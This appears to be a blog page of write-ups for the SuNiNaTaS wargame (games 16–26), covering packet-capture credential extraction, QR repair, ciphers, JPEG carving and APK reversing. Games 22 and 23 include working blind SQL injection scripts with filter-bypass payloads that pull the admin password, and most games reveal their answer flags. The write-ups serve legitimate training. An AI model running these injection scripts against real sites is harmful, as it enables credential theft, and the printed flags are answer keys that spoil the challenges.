Hello Navi

Tech, Security & Personal Notes

challenges

Game 16

We have a PCAP (Packet Capture) file to analyze:

1
2
3
❯ 7z x packet_dump.zip
❯ file packet_dump.pcap
packet_dump.pcap: pcap capture file, microsecond ts (little-endian) - version 2.4 (Ethernet, capture length 65535)

Extract credentials by searching for password parameters in the captured network traffic:

1
2
3
4
5
6
❯ strings packet_dump.pcap | grep Hpw=
Hid=suninatas&Hpw=suninatasc
Hid=blackkey&Hpw=blackkeyn
Hid=ultrashark&Hpw=sharkpass01~
Hid=ultrashark&Hpw=%3Dsharkpass01
Hid=ultrashark&Hpw=%3DSharkPass01

Try logging in with each credential pair until one succeeds:

1
Congratulation! Authkey : ********************************
WireSharkBetterThanWirelessShark

challenges

Game 17

We have a QR code image that needs to be processed and decoded. Start by enhancing the image with ImageMagick:

1
2
❯ convert qr.png -threshold 85% out.png
❯ convert out.png -background black -alpha remove -alpha off oo.png

The processed image may be incomplete or corrupted. Use an image editor like Krita to overlay the three pattern images (position markers) on top of the QR code to restore it.

Once repaired, decode the QR code with zbarimg:

1
❯ zbarimg oo.png

This yields the flag:

1
Good Job! Congraturation! AuthKey is YouAreQRCodeMaster~!
YouAreQRCodeMaster~!

challenges

Game 18

We have an array of numbers that represent hex values. Convert them to hex:

1
2
data = [86, 71, 57, 107, 89, 88, 107, 103, 97, 88, 77, 103, 89, 83, 66, 110, 98, 50, 57, 107, 73, 71, 82, 104, 101, 83, 52, 103, 86, 71, 104, 108, 73, 69, 70, 49, 100, 71, 104, 76, 90, 88, 107, 103, 97, 88, 77, 103, 86, 109, 86, 121, 101, 86, 90, 108, 99, 110, 108, 85, 98, 50, 53, 110, 86, 71, 57, 117, 90, 48, 100, 49, 99, 109, 107, 104]
print(''.join(f'{x:02x}' for x in data))

Convert the hex output to binary, then decode as base64:

1
2
3
4
❯ python tmp.py > hex.txt
❯ xxd -r -p hex.txt data.bin
cat data.bin
VG9kYXkgaXMgYSBnb29kIGRheS4gVGhlIEF1dGhLZXkgaXMgVmVyeVZlcnlUb25nVG9uZ0d1cmkh

The string is base64-encoded. Decode it:

1
Today is a good day. The AuthKey is *********************
VeryVeryTongTongGuri!

challenges

Game 19

We have a large block of binary data. Decode it to get an encrypted message:

1
2
3
4
5
6
7
8
9
10
11
12
0100111001010110010000110101010001000110010001000101
0110001000000100101101000110001000000100101001001100
0100010101011010010001010101001001001011010100100100
1010001000000101001001000101010101010010000001001011
0100011001010101010100100101000000100000010110100100
1010001000000101001000100000010110000100011001000110
0101010100100000010101010101001001010000001000000101
0010010001010101010100100000010100100100110001001011
0101100101000010010101100101000000100000010110100100
1010001000000100011101000011010100100101101001010101
0101010001001011010101110101101001001010010011010101
0110010010010101000001011001010100100100100101010101

Decode as binary to get:

1
NVCTFDV KF JLEZERKRJ REU KFURP ZJ R XFFU URP REU RLKYBVP ZJ GCRZUTKWZJMVIPYRIU

This text is encrypted with an affine cipher. Use an affine decoder to decrypt:

1
WELCOME TO SUNINATAS AND TODAY IS A GOOD DAY AND AUTHKEY IS **********************
PLAIDCTFISVERYHARD

challenges

Game 21

We have a JPEG image to analyze. Check its properties:

1
2
❯ file monitor.jpg
monitor.jpg: JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=11, description=SAMSUNG, ...], baseline, precision 8, 640x480, components 3

Check for embedded data with binwalk:

1
2
❯ binwalk monitor.jpg
Analyzed 1 file for 85 file signatures (187 magic patterns) in 9.0 milliseconds

Attempting to use stegseek reveals a structural issue:

1
2
3
❯ stegseek monitor.jpg
StegSeek 0.6
Invalid JPEG file structure: two SOI markers

The file contains multiple JPEG images (indicated by multiple Start of Image markers). Extract them using foremost:

1
2
3
4
5
6
7
8
9
10
11
12
13
❯ foremost monitor.jpg
❯ tree output/
output/
├── audit.txt
└── jpg
├── 00000000.jpg
├── 00000383.jpg
├── 00000765.jpg
├── 00001148.jpg
├── 00001532.jpg
├── 00001914.jpg
├── 00002297.jpg
└── 00002681.jpg

Examine the extracted images to find the flag.

H4CC3R_IN_TH3_MIDD33_4TT4CK

challenges

Game 22

This is a blind SQL injection challenge with heavy filtering. Keywords blocked include: select, union, or, whitespace, by, having, from, char, ascii, left, right, delay, 0x.

The goal is to find the admin's password. Start with credentials guest/guest to obtain a valid session.

Use a Python script to extract the password character-by-character via blind SQL injection:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import requests
import string

url = "http://suninatas.com/challenge/web22/web22.asp"
cookies = {
"ASP.NET_SessionId": "...",
"auth_key": "...",
# ... other session cookies
}

charset = string.ascii_letters + string.digits + "!@#$%^&*()_+"
password = ""

for i in range(1, 31):
found_char = False
for char in charset:
# Test: substring(pw, index, length) = char
payload = f"'and(substring(pw,{i},1)='{char}')--"
params = {'id': 'admin' + payload, 'pw': 'a'}

try:
r = requests.get(f"{url}?id={params['id']}&pw={params['pw']}", cookies=cookies)
if "OK" in r.text:
password += char
print(f"[+] Found char at index {i}: {char}")
found_char = True
break
except Exception as e:
print(f"[!] Error: {e}")

if not found_char:
break

print(f"[SUCCESS] Final Password: {password}")

Running the script reveals the admin password:

1
2
3
4
5
6
7
8
9
10
11
12
13
[+] Found char at index 1: N
[+] Found char at index 2: 1
[+] Found char at index 3: c
[+] Found char at index 4: 3
[+] Found char at index 5: B
[+] Found char at index 6: i
[+] Found char at index 7: l
[+] Found char at index 8: n
[+] Found char at index 9: l
[+] Found char at index 10: )
[+] Found char at index 11: +
[+] Found char at index 12: +
...
N1c3Bilnl)

challenges

Game 23

This is a hard blind SQL injection challenge with extensive filtering. Blocked keywords include: admin, select, union, by, having, substring, from, char, delay, 0x, hex, asc, desc.

Start with credentials guest/guest. The hint is to bypass the admin string filter using string concatenation: ad'+'min'.

Since substring() is filtered, use the left() function instead to extract characters from the left side of the password:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
import requests
import string
import sys

TARGET_URL = "http://suninatas.com/challenge/web23/web23.asp"
COOKIES = {"ASPSESSIONIDAASRCCSR": "..."}

CHARSET = string.ascii_letters + string.digits + "!@#$%^&*()_+"
MAX_LENGTH = 31
SUCCESS_INDICATOR = "OK <font size=4 color=blue>admin"

def check_str(count, test_string):
params = {
'id': f"'or left(pw,{count})='{test_string}'--",
'pw': 'ar',
}
try:
response = requests.get(TARGET_URL, params=params, cookies=COOKIES, timeout=5)
return SUCCESS_INDICATOR in response.text
except requests.RequestException:
return False

def main():
print(f"[*] Starting Blind SQL Injection on {TARGET_URL}")
extracted_string = ""

for i in range(1, MAX_LENGTH + 1):
found = False
for char in CHARSET:
if check_str(i, extracted_string + char):
extracted_string += char
print(f"[+] Char {i}: {char}")
found = True
break

if not found:
break

print(f"\n[SUCCESS] Password: {extracted_string}")

if __name__ == "__main__":
main()

Running the script extracts the password character by character:

1
2
3
4
5
6
7
8
9
10
11
[+] Char 1: v
[+] Char 2: 3
[+] Char 3: r
[+] Char 4: y
[+] Char 5: h
[+] Char 6: a
[+] Char 7: r
[+] Char 8: d
[+] Char 9: s
[+] Char 10: q
...
v3ryhardsqli

challenges

Game 24

We have an Android APK file to reverse engineer:

1
2
❯ file suninatas24
suninatas24: Android package (APK), with AndroidManifest.xml, with APK Signing Block

Decompile the APK using jadx (rename the file with .apk extension first):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
public class MainActivity extends Activity {
@Override
public void onCreate(Bundle bundle) {
super.onCreate(bundle);
setContentView(R.layout.activity_main);
((Button) findViewById(R.id.btn_send)).setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View view) {
EditText editText = (EditText) MainActivity.this.findViewById(R.id.input_pw);
EditText editText2 = (EditText) MainActivity.this.findViewById(R.id.input_key);
Editable text = ((EditText) MainActivity.this.findViewById(R.id.input_id)).getText();
Editable text2 = editText.getText();
Editable text3 = editText2.getText();
if (text3.toString().equals("https://www.youtube.com/channel/UCuPOkAy1x5eZhUda-aZXUlg")) {
MainActivity.this.startActivity(new Intent("android.intent.action.VIEW",
Uri.parse("http://www.suninatas.com/challenge/web24/chk_key.asp?id=" +
text.toString() + "&pw=" + text2.toString() + "&key=" + text3.toString())));
return;
}
new AlertDialog.Builder(MainActivity.this).setMessage("Wrong!").show();
}
});
}
}

The code reveals a hardcoded validation: the key field must equal https://www.youtube.com/channel/UCuPOkAy1x5eZhUda-aZXUlg.

Construct the URL with a test account and the hardcoded key:

1
http://www.suninatas.com/challenge/web24/chk_key.asp?id=testuser&pw=testpass&key=https://www.youtube.com/channel/UCuPOkAy1x5eZhUda-aZXUlg

This triggers the backend verification which returns the auth key.

Auth_key = StARtANdr0idW0r1d

challenges

Game 25

We have another Android APK to reverse engineer. Extract and decompile it:

1
2
3
4
5
6
❯ file Suninatas25
Suninatas25: Zip archive data, ...

❯ unar Suninatas25
mv Suninatas25 Suninatas25.apk
# Open with jadx

The decompiled code reveals the app's logic:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
public class Suninatas25 extends Activity {
public void onCreate(Bundle savedInstanceState) {
// Reads contact with name "SuNiNaTaS"
String conId = Suninatas25.this.getContacts("id");
String conNum = Suninatas25.this.getTel(conId);

// Constructs URL with contact name and number
Uri uri = Uri.parse("http://www.suninatas.com/challenge/web25/chk_key.asp?id=" +
id.toString() + "&pw=" + pw.toString() + "&Name=" + conName.toString() +
"&Number=" + conNum.toString());
Intent it = new Intent("android.intent.action.VIEW", uri);
Suninatas25.this.startActivity(it);
}

public String getTel(String Idno) {
// Retrieves phone number for contact ID
StringBuffer tnum = new StringBuffer();
Cursor phones = getContentResolver().query(
ContactsContract.CommonDataKinds.Phone.CONTENT_URI, null,
"contact_id=" + Idno, null, null);
while (phones.moveToNext()) {
String phoneNumber = phones.getString(phones.getColumnIndex("data1"));
tnum.append(phoneNumber);
}
return tnum.toString();
}

public String getContacts(String Sel) {
// Searches for contact named "SuNiNaTaS"
StringBuffer sb = new StringBuffer();
Cursor contacts = getContentResolver().query(
ContactsContract.Contacts.CONTENT_URI, null, null, null, null);
while (contacts.moveToNext()) {
String displayName = contacts.getString(contacts.getColumnIndex("display_name"));
String contactId = contacts.getString(contacts.getColumnIndex("_id"));
if (displayName.equals("SuNiNaTaS")) {
if (Sel.equals("id")) {
sb.append(contactId);
}
}
}
return sb.toString();
}
}

The vulnerability: the app reads the device's contacts and looks for a contact named exactly SuNiNaTaS. To exploit it:

  1. Create a test account
  2. Add a contact to the phone with display name SuNiNaTaS and any phone number
  3. Run the app to extract the contact's phone number
  4. Submit the request with the contact info:

Or directly enter the URL:

1
http://www.suninatas.com/challenge/web25/chk_key.asp?id=testuser&pw=testpass&Name=SuNiNaTaS&Number=1234567890

The server verifies the contact information and returns the auth key.

FanTast1c aNdr0id w0r1d!

challenges

Game 26

This challenge requires breaking a random substitution cipher using frequency analysis. The ciphertext is:

1
szqkagczvcvyabpsyincgozdainvscbnivpnzvbpnyfkqhzmmpcqhzygzgfcxznvvzgdfnvbpnjyifxmpcqhzygbpnoyaimygbzgngbvmpcqhzygcbpinnbzqndicgxhiztozgcfmpcqhzygbpnjyifxeagzyimpcqhzygbpneagzyidicgxhiztozgcfmpcqhzygcgxcoyaibzqnvyabpsyincggcbzygcfmpcqhzygszqzvbpnozivbvyabpsyincgozdainvscbnibyjzgcqnxcfcbcgzvaeagzyiyivngzyidicgxhiztnungbzvampcqhzygvpzhcgxbpnyfkqhzmdcqnvvpnzvbpnozivbonqcfnvscbnibyjzgbpnyfkqhzmdcqnvbpnjyifxmpcqhzygvpzhvbpnoyaimygbzgngbvmpcqhzygvpzhvcgxbpndicgxhiztozgcfvpnzvygnyobpnqyvbpzdpfkinmydgzlnxcbpfnbnvcgxqnxzcozdainvzgvyabpsyinccvyochizfbpzvkncivpnzvicgsnxvnmygxzgbpnjyifxrkbpnzgbnigcbzygcfvscbzgdagzygvpnzvbpnmaiingbinmyixpyfxnioyifcxznvzgbpnvpyibhiydicqbpnoinnvscbzgdcgxbpnmyqrzgnxbybcfagxnibpnzvaeaxdzgdvkvbnqvpnzvcfvybpnozivbonqcfnvscbnibyvaihcvvbpnbjypaxincxhyzgbqcisagxnibpnzvaeaxdzgdvkvbnqvpnpcvgnunirnnghfcmnxyoobpnhyxzaqzgpningbzinmcinni

Frequency Analysis Approach:

Analyze the character frequency in the ciphertext:

1
2
3
4
5
6
7
8
9
10
$ echo "$CIPHER" | fold -w1 | sort | uniq -c | sort -nr
92 n
78 z
69 g
65 c
65 b
62 v
60 i
59 y
58 p

In English text, the most common letters are E, T, A, O, I, N. Since n is the most frequent cipher character (92 occurrences), it likely maps to e in the plaintext. Similarly, z (78 occurrences) might map to t.

Use an online frequency analysis solver or substitution cipher tool to find the plaintext. Tools like quipqiup.com or frequency_analysis.html can automatically break the cipher based on English word frequencies.

The plaintext decrypts to a biography of Kim Yuna, a renowned South Korean figure skater, and the flag is her name.

kimyuna
+ + +
SYSTEM STATUS: ACTIVE ENCRYPTED SECTOR 7 PRTS_TERMINAL_V2.0 PROTOCOL: 0x2A ENCRYPTED DATA STREAM SYSTEM: ONLINE